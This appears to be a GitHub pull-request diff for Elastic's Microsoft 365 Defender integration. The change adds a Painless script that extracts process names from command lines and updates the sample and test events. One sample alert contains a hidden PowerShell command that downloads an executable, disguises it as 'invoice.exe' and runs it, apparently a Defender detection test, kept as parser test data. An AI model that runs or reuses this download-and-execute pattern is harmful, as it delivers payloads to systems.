Skip to content
Merged
Show file tree
Hide file tree
Changes from 3 commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
5 changes: 5 additions & 0 deletions packages/m365_defender/changelog.yml
Original file line number Diff line number Diff line change
@@ -1,4 +1,9 @@
# newer versions go on top
- version: "4.0.1"
changes:
- description: Extract `process.name` from `process.command_line` in alert, event, and incident data streams.
type: bugfix
link: https://github.com/elastic/integrations/pull/15226
- version: "4.0.0"
changes:
- description: |
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -1529,16 +1529,6 @@ processors:
tag: append_foreach_evidence_fileDetails_name
value: '{{{_ingest._value.file_details.name}}}'
allow_duplicates: false
- foreach:
field: file.name
tag: foreach_file_name
if: ctx.file?.name instanceof List
processor:
append:
field: process.name
tag: append_file_name_to_process_name
value: '{{{_ingest._value}}}'
allow_duplicates: false
- foreach:
field: json.evidence
tag: foreach_evidence_rename_fileDetails_filePath
Expand Down Expand Up @@ -2617,6 +2607,67 @@ processors:
- _ingest._value.registry_value
- _ingest._value.security_group_id
ignore_missing: true
- script:
lang: painless
tag: set_process_name_from_command_line
description: Set process.name from process.command_line.
if: ctx.process?.name == null
source: |
if (ctx.process == null) {
ctx.process = [: ];
}
if (ctx.process.name == null) {
ctx.process.name = [];
}
// Normalize process.name to a list
def nameList = [];
if (ctx.process.name != null) {
if (ctx.process.name instanceof String) {
nameList.add(ctx.process.name);
} else if (ctx.process.name instanceof List) {
nameList.addAll(ctx.process.name);
}
}

// Deduplication using HashSet
def currentNames = new HashSet();
currentNames.addAll(nameList);
// Handle process.command_line (string or list)
if (ctx.process.command_line != null) {
// Convert string to list for unified handling
def cmdList = [];
if (ctx.process.command_line instanceof String) {
cmdList.add(ctx.process.command_line);
} else if (ctx.process.command_line instanceof List) {
cmdList.addAll(ctx.process.command_line);
}
for (cmd in cmdList) {
if (cmd != null && cmd.length() > 0) {
// Extract the first token
def parts = cmd.trim().splitOnToken(" ");
if (parts.length > 0) {
def executable = parts[0];
// If executable is a path, take only the last part
if (executable.contains("/")) {
def slashParts = executable.splitOnToken("/");
executable = slashParts[slashParts.length - 1];
}
executable = /\"/.matcher(executable).replaceAll("");
currentNames.add(executable);
}
}
}
}
// Update process.name with unique list
if (currentNames != null && currentNames.size() == 1) {
ctx.process.name = currentNames.iterator().next();
} else {
ctx.process.name = new ArrayList(currentNames);
}
on_failure:
- append:
field: error.message
value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
- remove:
field: json
tag: remove_json
Expand Down
16 changes: 8 additions & 8 deletions packages/m365_defender/data_stream/alert/sample_event.json
Original file line number Diff line number Diff line change
@@ -1,11 +1,11 @@
{
"@timestamp": "2023-10-20T09:54:07.503Z",
"agent": {
"ephemeral_id": "d094e4bf-1ad6-4736-9353-29b42b09ac42",
"id": "64473222-0837-45a8-9e97-7a1ea893829b",
"name": "elastic-agent-96323",
"ephemeral_id": "f214adf4-5e56-416a-8a08-4d35ad512d04",
"id": "21b303ad-4653-420a-807c-5a753a969c24",
"name": "elastic-agent-45984",
"type": "filebeat",
"version": "8.18.0"
"version": "8.19.0"
},
"cloud": {
"account": {
Expand All @@ -14,7 +14,7 @@
},
"data_stream": {
"dataset": "m365_defender.alert",
"namespace": "69828",
"namespace": "49448",
"type": "logs"
},
"device": {
Expand All @@ -26,9 +26,9 @@
"version": "8.11.0"
},
"elastic_agent": {
"id": "64473222-0837-45a8-9e97-7a1ea893829b",
"id": "21b303ad-4653-420a-807c-5a753a969c24",
"snapshot": false,
"version": "8.18.0"
"version": "8.19.0"
},
"event": {
"action": [
Expand All @@ -46,7 +46,7 @@
"duration": 2478000000,
"end": "2023-10-20T09:51:41.993Z",
"id": "daefa1828b-dd4e-405c-8a3b-aa28596830dd_1",
"ingested": "2025-07-09T11:43:01Z",
"ingested": "2025-09-09T09:17:53Z",
"kind": "alert",
"original": "{\"actorDisplayName\":null,\"additionalData\":null,\"alertPolicyId\":null,\"alertWebUrl\":\"https://security.microsoft.com/alerts/daefa1828b-dd4e-405c-8a3b-aa28596830dd_1?tid=3adb963c-8e61-48e8-a06d-6dbb0dacea39\",\"assignedTo\":null,\"category\":\"Execution\",\"classification\":null,\"comments\":[],\"createdDateTime\":\"2023-10-20T09:53:09.8839373Z\",\"description\":\"A suspicious PowerShell activity was observed on the machine. \\nThis behavior may indicate that PowerShell was used during installation, exploration, or in some cases in lateral movement activities which are used by attackers to invoke modules, download external payloads, or get more information about the system. Attackers usually use PowerShell to bypass security protection mechanisms by executing their payload in memory without touching the disk and leaving any trace.\",\"detectionSource\":\"microsoftDefenderForEndpoint\",\"detectorId\":\"7f1c3609-a3ff-40e2-995b-c01770161d68\",\"determination\":null,\"evidence\":[{\"@odata.type\":\"#microsoft.graph.security.deviceEvidence\",\"azureAdDeviceId\":\"f18bd540-d5e4-46e0-8ddd-3d03a59e4e14\",\"createdDateTime\":\"2023-10-20T09:53:10.1933333Z\",\"defenderAvStatus\":\"notSupported\",\"detailedRoles\":[\"PrimaryDevice\"],\"deviceDnsName\":\"clw555test\",\"firstSeenDateTime\":\"2023-10-20T09:50:17.7383987Z\",\"healthStatus\":\"inactive\",\"ipInterfaces\":[\"192.168.5.65\",\"fe80::cfe4:80b:615c:38fb\",\"127.0.0.1\",\"::1\"],\"loggedOnUsers\":[{\"accountName\":\"CDPUserIS-38411\",\"domainName\":\"AzureAD\"}],\"mdeDeviceId\":\"505d70d89cfa3428f7aac7d2eb3a64c60fd3d843\",\"onboardingStatus\":\"onboarded\",\"osBuild\":22621,\"osPlatform\":\"Windows11\",\"rbacGroupId\":0,\"rbacGroupName\":null,\"remediationStatus\":\"none\",\"remediationStatusDetails\":null,\"riskScore\":\"high\",\"roles\":[],\"tags\":[],\"verdict\":\"unknown\",\"version\":\"22H2\",\"vmMetadata\":null},{\"@odata.type\":\"#microsoft.graph.security.userEvidence\",\"createdDateTime\":\"2023-10-20T09:53:10.1933333Z\",\"detailedRoles\":[],\"remediationStatus\":\"none\",\"remediationStatusDetails\":null,\"roles\":[],\"tags\":[],\"userAccount\":{\"accountName\":\"CDPUserIS-38411\",\"azureAdUserId\":null,\"displayName\":null,\"domainName\":\"AzureAD\",\"userPrincipalName\":null,\"userSid\":\"S-1-12-1-1485667349-1150190949-4065799612-2328216759\"},\"verdict\":\"unknown\"},{\"@odata.type\":\"#microsoft.graph.security.urlEvidence\",\"createdDateTime\":\"2023-10-20T09:53:10.1933333Z\",\"detailedRoles\":[],\"remediationStatus\":\"none\",\"remediationStatusDetails\":null,\"roles\":[],\"tags\":[],\"url\":\"http://127.0.0.1/1.exe\",\"verdict\":\"suspicious\"},{\"@odata.type\":\"#microsoft.graph.security.ipEvidence\",\"countryLetterCode\":null,\"createdDateTime\":\"2023-10-20T09:53:10.1933333Z\",\"detailedRoles\":[],\"ipAddress\":\"127.0.0.1\",\"remediationStatus\":\"none\",\"remediationStatusDetails\":null,\"roles\":[],\"tags\":[],\"verdict\":\"suspicious\"},{\"@odata.type\":\"#microsoft.graph.security.processEvidence\",\"createdDateTime\":\"2023-10-20T09:53:10.1933333Z\",\"detailedRoles\":[],\"detectionStatus\":\"detected\",\"imageFile\":{\"fileName\":\"powershell.exe\",\"filePath\":\"C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\",\"filePublisher\":\"Microsoft Corporation\",\"fileSize\":491520,\"issuer\":null,\"sha1\":\"a72c41316307889e43fe8605a0dca4a72e72a011\",\"sha256\":\"d783ba6567faf10fdff2d0ea3864f6756862d6c733c7f4467283da81aedc3a80\",\"signer\":null},\"mdeDeviceId\":\"505d70d89cfa3428f7aac7d2eb3a64c60fd3d843\",\"parentProcessCreationDateTime\":\"2023-10-20T09:51:19.5064237Z\",\"parentProcessId\":5772,\"parentProcessImageFile\":{\"fileName\":\"cmd.exe\",\"filePath\":\"C:\\\\Windows\\\\System32\",\"filePublisher\":\"Microsoft Corporation\",\"fileSize\":323584,\"issuer\":null,\"sha1\":null,\"sha256\":null,\"signer\":null},\"processCommandLine\":\"powershell.exe -NoExit -ExecutionPolicy Bypass -WindowStyle Hidden $ErrorActionPreference= 'silentlycontinue';(New-Object System.Net.WebClient).DownloadFile('http://127.0.0.1/1.exe', 'C:\\\\\\\\test-WDATP-test\\\\\\\\invoice.exe');Start-Process 'C:\\\\\\\\test-WDATP-test\\\\\\\\invoice.exe'\",\"processCreationDateTime\":\"2023-10-20T09:51:39.4997961Z\",\"processId\":8224,\"remediationStatus\":\"none\",\"remediationStatusDetails\":null,\"roles\":[],\"tags\":[],\"userAccount\":{\"accountName\":\"CDPUserIS-38411\",\"azureAdUserId\":null,\"displayName\":null,\"domainName\":\"AzureAD\",\"userPrincipalName\":null,\"userSid\":\"S-1-12-1-1485667349-1150190949-4065799612-2328216759\"},\"verdict\":\"unknown\"}],\"firstActivityDateTime\":\"2023-10-20T09:51:39.5154802Z\",\"id\":\"daefa1828b-dd4e-405c-8a3b-aa28596830dd_1\",\"incidentId\":\"23\",\"incidentWebUrl\":\"https://security.microsoft.com/incidents/23?tid=3adb963c-8e61-48e8-a06d-6dbb0dacea39\",\"lastActivityDateTime\":\"2023-10-20T09:51:41.9939003Z\",\"lastUpdateDateTime\":\"2023-10-20T09:54:07.5033333Z\",\"mitreTechniques\":[\"T1059.001\"],\"productName\":\"Microsoft Defender for Endpoint\",\"providerAlertId\":\"efa1828b-dd4e-405c-8a3b-aa28596830dd_1\",\"recommendedActions\":\"1. Examine the PowerShell command line to understand what commands were executed. Note: the content may need to be decoded if it is Base64-encoded.\\n2. Search the script for more indicators to investigate - for example IP addresses (potential C\\u0026C servers), target computers etc.\\n3. Explore the timeline of this and other related machines for additional suspect activities around the time of the alert.\\n4. Look for the process that invoked this PowerShell run and their origin. Consider submitting any suspect files in the chain for deep analysis for detailed behavior information.\",\"resolvedDateTime\":null,\"serviceSource\":\"microsoftDefenderForEndpoint\",\"severity\":\"medium\",\"status\":\"new\",\"tenantId\":\"3adb963c-8e61-48e8-a06d-6dbb0dacea39\",\"threatDisplayName\":null,\"threatFamilyName\":null,\"title\":\"Suspicious PowerShell command line\"}",
"provider": "microsoftDefenderForEndpoint",
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -266,7 +266,8 @@
],
"args_count": 3,
"command_line": "\"InstallUtil.exe\" /u \"C:\\Program Files (x86)\\Lenovo\\System Update\\SUService.exe\"",
"executable": "InstallUtil.exe"
"executable": "InstallUtil.exe",
"name": "InstallUtil.exe"
},
"tags": [
"preserve_original_event",
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -130,18 +130,71 @@ processors:
ignore_empty_value: true
- set:
field: process.name
tag: set_process_name_from_file_name
copy_from: file.name
tag: set_process_name_from_executable
copy_from: process.executable
if: ctx.process?.name == null
ignore_empty_value: true
override: false
if: ctx.process?.command_line != null
- set:
field: process.name
tag: set_process_name_from_threat_indicator_file_name
copy_from: threat.indicator.file.name
ignore_empty_value: true
override: false
if: ctx.process?.command_line != null
- script:
lang: painless
tag: set_process_name_from_command_line
description: Set process.name from process.command_line.
if: ctx.process?.name == null
source: |
if (ctx.process == null) {
ctx.process = [: ];
}
if (ctx.process.name == null) {
ctx.process.name = [];
}
// Normalize process.name to a list
def nameList = [];
if (ctx.process.name != null) {
if (ctx.process.name instanceof String) {
nameList.add(ctx.process.name);
} else if (ctx.process.name instanceof List) {
nameList.addAll(ctx.process.name);
}
}

// Deduplication using HashSet
def currentNames = new HashSet();
currentNames.addAll(nameList);
// Handle process.command_line (string or list)
if (ctx.process.command_line != null) {
// Convert string to list for unified handling
def cmdList = [];
if (ctx.process.command_line instanceof String) {
cmdList.add(ctx.process.command_line);
} else if (ctx.process.command_line instanceof List) {
cmdList.addAll(ctx.process.command_line);
}
for (cmd in cmdList) {
if (cmd != null && cmd.length() > 0) {
// Extract the first token
def parts = cmd.trim().splitOnToken(" ");
if (parts.length > 0) {
def executable = parts[0];
// If executable is a path, take only the last part
if (executable.contains("/")) {
def slashParts = executable.splitOnToken("/");
executable = slashParts[slashParts.length - 1];
}
executable = /\"/.matcher(executable).replaceAll("");
currentNames.add(executable);
}
}
}
}
// Update process.name with unique list
if (currentNames != null && currentNames.size() == 1) {
ctx.process.name = currentNames.iterator().next();
} else {
ctx.process.name = new ArrayList(currentNames);
}
on_failure:
- append:
field: error.message
value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'

# cloud.instance.id is used for the M365 Defender response action.
- set:
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -245,9 +245,7 @@
"8963a19fb992ad9a76576c5638fd68292cffb9aaac29eb8285f9abf6196a7dec"
]
},
"name": [
"MsSense.exe"
],
"name": "MsSense.exe",
"parent": {
"entity_id": [
"668"
Expand Down Expand Up @@ -568,9 +566,7 @@
"8963a19fb992ad9a76576c5638fd68292cffb9aaac29eb8285f9abf6196a7dec"
]
},
"name": [
"MsSense.exe"
],
"name": "MsSense.exe",
"parent": {
"entity_id": [
"668"
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -1396,15 +1396,6 @@ processors:
value: '{{{_ingest._value.file_details.name}}}'
allow_duplicates: false
ignore_failure: true
- foreach:
field: file.name
if: ctx.file?.name instanceof List && ctx.process?.command_line != null
ignore_failure: true
processor:
append:
field: process.name
value: '{{{_ingest._value}}}'
allow_duplicates: false
- foreach:
field: json.alerts.evidence
if: ctx.json?.alerts?.evidence instanceof List
Expand Down Expand Up @@ -1713,6 +1704,66 @@ processors:
value: '{{{_ingest._value.process.command_line}}}'
allow_duplicates: false
ignore_failure: true
- script:
lang: painless
tag: set_process_name_from_command_line
description: Set process.name from process.command_line.
source: |
if (ctx.process == null) {
ctx.process = [: ];
}
if (ctx.process.name == null) {
ctx.process.name = [];
}
// Normalize process.name to a list
def nameList = [];
if (ctx.process.name != null) {
if (ctx.process.name instanceof String) {
nameList.add(ctx.process.name);
} else if (ctx.process.name instanceof List) {
nameList.addAll(ctx.process.name);
}
}

// Deduplication using HashSet
def currentNames = new HashSet();
currentNames.addAll(nameList);
// Handle process.command_line (string or list)
if (ctx.process.command_line != null) {
// Convert string to list for unified handling
def cmdList = [];
if (ctx.process.command_line instanceof String) {
cmdList.add(ctx.process.command_line);
} else if (ctx.process.command_line instanceof List) {
cmdList.addAll(ctx.process.command_line);
}
for (cmd in cmdList) {
if (cmd != null && cmd.length() > 0) {
// Extract the first token
def parts = cmd.trim().splitOnToken(" ");
if (parts.length > 0) {
def executable = parts[0];
// If executable is a path, take only the last part
if (executable.contains("/")) {
def slashParts = executable.splitOnToken("/");
executable = slashParts[slashParts.length - 1];
}
executable = /\"/.matcher(executable).replaceAll("");
currentNames.add(executable);
}
}
}
}
// Update process.name with unique list
if (currentNames != null && currentNames.size() == 1) {
ctx.process.name = currentNames.iterator().next();
} else {
ctx.process.name = new ArrayList(currentNames);
}
on_failure:
- append:
field: error.message
value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
- foreach:
field: json.alerts.evidence
if: ctx.json?.alerts?.evidence instanceof List
Expand Down Expand Up @@ -1937,15 +1988,6 @@ processors:
value: '{{{_ingest._value.process.creation_datetime}}}'
allow_duplicates: false
ignore_failure: true
- foreach:
field: json.alerts.evidence
if: ctx.json?.alerts?.evidence instanceof List && ctx.process?.command_line != null
ignore_failure: true
processor:
append:
field: process.name
value: '{{{_ingest._value.imageFile.fileName}}}'
allow_duplicates: false
- foreach:
field: json.alerts.evidence
if: ctx.json?.alerts?.evidence instanceof List
Expand Down
Loading